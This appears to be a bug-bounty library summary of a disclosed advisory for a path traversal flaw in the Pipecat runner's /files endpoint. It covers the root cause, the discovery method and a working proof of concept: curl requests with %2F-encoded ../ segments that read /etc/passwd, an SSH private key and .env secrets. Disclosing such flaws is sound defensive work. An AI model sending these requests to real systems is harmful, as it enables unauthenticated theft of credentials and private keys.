# Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator

Pipecat runner's unauthenticated /files endpoint joined user filename onto --folder without containment, so %2F-encoded ../ traversal read arbitrary files like SSH keys.

- Payout: Research
- Severity: high
- Program: Pipecat
- Found by: AAtomical
- Disclosed: 2026-05-15
- CVE: CVE-2026-44716
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3363-2ph6-35wh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3363-2ph6-35wh
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:python technique:parser-differential technique:source-review vuln:path-traversal

**Target:** Starlette HTTP file-download endpoint in pipecat runner (run.py)
**Root cause:** Path(args.folder) / filename joins caller input without resolve()/is_relative_to containment; Starlette normalises literal ../ in the URL but decodes %2F inside the matched path param after routing, so ../ reaches the handler.
**Steps:**
1. Start runner with --folder: `python minimal_bot.py -t webrtc --host 127.0.0.1 --port 7860 --folder /tmp/bot_media`
2. Confirm literal traversal blocked: `curl "http://127.0.0.1:7860/files/../../etc/passwd"` → 404
3. Send encoded traversal: `curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"` → 200 with /etc/passwd
4. Read secrets: `curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"` → private key
**How found:** Reporter read run.py, saw Path(args.folder)/filename with no resolve()/is_relative_to, and reasoned that Starlette strips literal ../ from the URL but decodes %2F inside the matched path param after routing — then tested literal vs encoded traversal side by side.
**Exploitation:** Unauthenticated GET to the runner port with %2F-encoded ../ segments in the filename path parameter; Starlette decodes them after route matching, pathlib joins them onto --folder, and FileResponse returns any file readable by the pipecat process (SSH keys, .env, /etc/passwd).
**Insight:** When a framework normalises the URL path but decodes percent-encoded chars inside the matched path parameter, %2F-encoded ../ bypasses traversal filters; test both literal and encoded forms against any {param:path} file endpoint.

## Proof of concept (copied exactly from the original report)

**curl request reading /etc/passwd via %2F traversal**

```
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# → ## User Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh
```

**curl request reading SSH private key**

```
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...
```

**curl request reading .env secrets**

```
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"
```

